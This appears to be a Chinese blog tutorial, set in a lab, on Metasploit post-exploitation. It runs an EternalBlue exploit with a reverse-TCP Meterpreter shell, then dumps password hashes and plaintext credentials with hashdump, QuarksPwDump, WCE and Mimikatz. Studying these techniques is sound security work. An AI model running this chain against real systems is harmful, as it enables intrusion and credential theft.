zoukankan      html  css  js  c++  java
  • Metasploit之Hash攻击(Hashdump、Quarks PwDump、Windows Credentials Editor、Mimikatz)

    前期工作

    根据这篇: https://www.jianshu.com/p/03a1c13f963a ,进入meterpreter。

    msfconsole                                # 启动metasploit
    use exploit/windows/smb/ms17_010_eternalblue   # 用这个模块
    set payload windows/x64/meterpreter/reverse_tcp   # 用这个payload
    set RHOST 192.168.1.102                            # 靶机IP
    set LHOST 192.168.1.104                              # 攻击机IP 
    run                                                  # 开始攻击
    

    使用HashDump抓取密码

    Hashdump Meterpreter脚本可以从目标机器中提取Hash值,破解Hash值即可获得登录密码。计算机中的每个账号(如果是域服务器,则为域内的每个账号)的用户名和密码都存储在sam文件中,当计算机运行时,该文件对所有账号进行锁定,要
    想访问就必须有"系统级”账号。所以要使用该命令就必须进行权限的提升。
    在Meterpreter Shell提示符下输入hashdump命令,将导出目标机sam数据库中的Hash,如下图所示。

    在非system权限下会出现失败

    在非SYSTEM权限下远行hashdump命令会失败,而且在Windows 7、Windows Server 2008下有时候会出现进程移植不成功等问题;而另一个模块smart hashdump的功能更为强大,可以导出域所有用户的Hash,其工作流程如下:

    • 检查Meterpreter会话的权限和目标机操作系统类型。
    • 检查目标机是否为域控制服务器。
    • 首先尝试从注册表中读取Hash,不行的话再尝试注入LSASS进程。

    这里要注意如果目标机的系统是Windows 7,而且开启了UAC,获取Hash就会失败,这时需要先使用绕过UAC的后渗透攻击模块,如下图所示。

    可以通过暴力或者彩虹列表对抓取到的hash进行破解,推荐 https://www.cmd5.com/ .


    说明:在SAM文件中保存了两个不同的口令信息: LAN Manager(LM)口令散列算法和更加强大的加密NT版。LM就是NT口令文件的弱点。上图中左边为LM版本口令,右边是NTLM版本。1001代表他是管理员

    使用Quarks PwDump抓取密码

    PwDump是一款Win32环境下的系统授权信息导出工具,目前没有任何一款工具可以导出如此全面的信息、支持这么多的OS版本,而且相当稳定。它目前可以导出:

    • Local accounts NT/LM hashes + history 本机NT/LM哈希+历史登录记录。
    • Domain accounts NT/LM hashes + history域中的NT/LM哈希+历史登录记录。
    • Cached domain password缓存中的域管理密码。
    • Bitlocker recovery information (recovery passwords & keypackages)使用Bitlocker的恢复功能后遗留的信息(恢复密码&关键包)。

    [下载地址:https://www.webshell.cc/?dl_id=6]
    PwDump支持的操作系统为Windows XP/Windows 2003/Windows Vista/Windows 7/Windows 2008/Windows 8。
    在Windows的密码系统中,密码以加密的方式保存在/windows/system32/config/下的sam文件里,而账号在登录后会将密码的密文和明文保存在系统的内存中。正常情况下系统启动后,sam文件是不能被读取的,但是PwDump就能读取sam.
    直接运行Quarks PwDump.exe,如下所示

    默认显示帮助信息,其参数含义如下所示。

    • -dhl:导出本地哈希值。
    • -dhdc:导出内存中的域控哈希值。
    • -dhd:导出域控哈希值,必须指定NTDS文件。
    • -db:导出Bitlocker信息, 必须指定NTDS文件。
    • -nt:导出NTDS文件。
    • -hist:导出历史信息,可选项。
    • -t:可选导出类型,默认导出John类型。
    • -o:导出文件到本地。

    这里使用该工具抓取本机Hash值并导出,可以输入QuarksPwDump.exe -dhl -o 1.txt命令导出本地哈希值到当前目录的1.txt。此外,该工具还可以配合Ntdsutil工具导出域控密码。

    使用Windows Credientials Editor抓取密码

    [下载地址: https://www.ampliasecurity.com/research/windows-credentials-editor/]
    Windows Credentials Editor (WCE)是一款功能强大的Windows平台内网渗透工具,它能列举登录会话,并且可以添加、改变和删除相关凭据(例如LM/NTHash)。这些功能在内网渗透中能够被利用,例如,在Windows平台上执行绕过Hash操作或者从内存中获取NT/LM Hash (也可以从交互式登录、服务、远程桌面连接中获取)以用于进一步的攻击,而且体积也非常小,是内网渗透时的必备工具。不过必须在管理员权限下使用,还要注意杀毒工具的免杀。
    首先输入upload命令将wce.exe.上传到目标主机C盘中,然后在目标机Shell下输入wce -w命令,便会成功提取系统明文管理员的密码,如图所示。


    默认使用-l命令读取数据格式username:domain:lm:ntlm (这种读取是从内存中读取已经登录的信息,而不是读取sam数据库中的信息),默认的读取方式是先用安全的方式读取,若读取失败再用不安全的方式,所以很有可能对系统造成破坏。
    这里建议使用f参数强制使用安全的方式读取。-g参数是用来计算密码的,就是制定一个系统明文会使用的加密方法来计算密文,如下图所示。

    -c参数用于指定会话来执行cmd, -v参数用于显示详细信息,这样才能看到luid信息,-w参数是最关键的,用于查看已登录的明文密码,如下图所示。

    使用Mimikatz抓取密码

    Mimikatz是法国专家Benjamin Delpy (@gentilkiwi) 写的轻量级调试器。作为一款后渗透测试工具,它可以帮助安全测试人员轻松抓取系统密码,此外还包括能够通过获取的Kerberos登录凭据,绕过支持RestrictedAdmin模式下Windows 8或Windows Server 2012的远程终端(RDP)等功能。在最初渗透阶段之后的大多数时间里,攻击者可能想在计算机/网络中得到一个更坚固的立足点,这样做通常需要一组补充的工具,Mimikatz就是一种将攻击者想执行的、最有用的任务捆绑在一起的尝试。需要注意该工具在Windows 2000与Windows XP系统下无法使用。Metasploit已经将其作为一个Meterpreter脚本集成了 ,以便用户使用,而不需要上传该软件到目标主机上。
    Mimikatz必须在管理员权限下使用,此时假设我们通过一系列前期渗透,已经成功获得目标机的Meterpreter Shell (过程略), 当前权限为Administrator。
    获取系统SYSTEM权限后,首先查看目标机器的架构。虽然Mimikatz同时支持32位和64位的Windows架构,但如果服务器是64位操作系统,直接使用Mimikatz后,Meterpreter会默认加载一个32位版本的Mimikatz到内存, 使得很多功能无效。
    而且在64位操作系统下必须先查看系统进程列表,然后在加载Mimikatz之 前将进程迁移到一个64位程序的进程中,才能查看系统密码明文,在32位操作系统下就没有这个限制。这里输入sysinfo命令,如图所示。

    这是一个64位的操作系统,先迁移进程。


    现在加载Mimikatz模块

    mimikatz_command选项可以让我们使用Mimikatz的全部功能,需要通过加载一个错误的模块得到可用模块的完整列表,如下图所示。

    我们可以使用" :: "语法请求某个模块可用的选项,选定一个模块后也可以使用" :: "查看本模块的帮助,例如查看Hash的可用选项有Im和ntlm两种,如下所示。

    知道了Mimikatz的大概使用方法后,我们既可以使用Metasploit内建的命令,也可以使用Mimikatz自带的命令从目标机器上导出Hash和明文证书。接着直接输入msv命令抓取系统Hash值,如下所示。

    输入kerberos可以抓取系统票据。

    输入wdigest命令可以获取系统账户信息。

    接着输入samdump命令查看samdump的可用选项,然后输入mimikatz_command -f samdump::hashes命令抓取Hash,如下图所示。

    Mimikatz除了可以抓取Hash,还有很多其他功能,例如使用Handle模块、list/kill进程,以及模拟用户令牌,如下图所示。

    使用Service模块可以 list/start/stop/remove Windows的服务,如下图。

    使用Crypto模块可以list/export任何证书,以及储存在目标机器上的相应私钥,如下图所示。

    Mimikatz也支持PowerShell调用(Invoke-Mimikatz) 。
    Mimikatz的功能特性:能够在PowerShell中执行Mimikatz,偷窃、注入凭证,伪造Kerberos票证创建,还有很多其他的功能。
    Mimikatz的一些其他模块包含了很多有用的特性,更完整的特性列表可以在Benjamin Delpy的博客https://blog.gentilkiwi.com/上找到。

    说明

    本文参考《Web安全攻防:渗透测试实战指南》
    所有过程仅供演示交流,禁止用于非法用途,由此产生的非法后果与我无瓜!!!

  • 相关阅读:
    输入任意十进制数字,转换为任意进制表示
    Integer 原码解读
    Java 中位移运算符 >>,>>>,<<
    解读源码中的问题
    HashMap 源码解读
    js:插入节点appendChild insertBefore使用方法
    冒泡排序实例
    nodejs学习笔记(2)--Express下安装模版引擎ejs
    nodejs学习笔记(1)--express安装问题:express不是内部也或者外部的命令解决方案
    Jquery取得iframe中元素的几种方法
  • 原文地址:https://www.cnblogs.com/coderge/p/13752193.html
Copyright © 2011-2022 走看看